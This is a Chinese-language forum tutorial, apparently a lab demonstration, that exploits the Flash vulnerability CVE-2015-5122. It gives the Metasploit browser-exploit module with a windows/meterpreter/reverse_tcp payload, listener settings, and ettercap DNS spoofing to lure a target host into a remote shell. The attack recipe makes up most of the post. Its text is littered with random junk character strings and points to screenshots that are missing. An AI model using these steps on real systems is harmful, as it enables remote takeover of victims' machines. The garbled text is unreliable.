cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

4 I6 C1 R$ R$ i9 x, w- Q+ }

search cve-2015-5122如图： 0 [8 c7 P$ }7 f2 E

6 E4 v/ \: _1 U& a# v

0 q$ S& q8 f1 _% [   : M5 A" t4 x- J+ W ~ L- G

下面我们敲如下命令：

. A% Z3 Q8 Z8 _9 c* r, B use exploit/multi/browser/adobe_flash_opaque_background_uaf q2 m; z1 Z- ~! u" ]6 D$ l/ \) t

4 l# R. X1 u* d: A/ s$ @6 ?: x

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.109

5 C$ v u% H. c, o; E

set URIPATH /                        /*根目录*/ , l' F9 O2 } i* l$ h6 G

: S) d' C J, k+ I+ n+ I2 [& y2 Z

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 " V' n& n1 d2 s) D

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 3 G# G- q( z: K; ?, v6 J2 v

6 D. _ {& t+ I" c

; A- C) n" G: C+ l; ~2 m+ N) n" ~ 然后show options如图：

& g0 |+ s3 p+ }, O% F: U( j( t8 P  

+ O; u: V+ p( h

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
/ E7 `9 {1 i! M5 A0 r 8 u2 J, q1 o0 u7 J# d

. i% l! }: T# L- Q" ]1 Y$ r) ~ 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 & [% ~" E+ J" s7 {* [) ^

1 r; `3 X2 {6 \& Q9 O

5 o; ^3 W2 F8 [* T. ]4 {( ~# { Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf , @/ B6 m) A1 r* j

( _. W! L+ S3 C5 q+ ~1 I   4 F) a z( P9 z V

! p& l6 j; ]4 f% M2 U8 Z8 b

6 m% K" \, N' ]" ~7 j; t" F 成功了，这时候我们断开ettercap，如图： ( N B, b. s* {' A! `+ P6 n- H

7 [9 w* W: g2 h$ z* a: y6 F

: Z. q, u+ r. y" Q/ v4 q6 g  

Screenshot如图：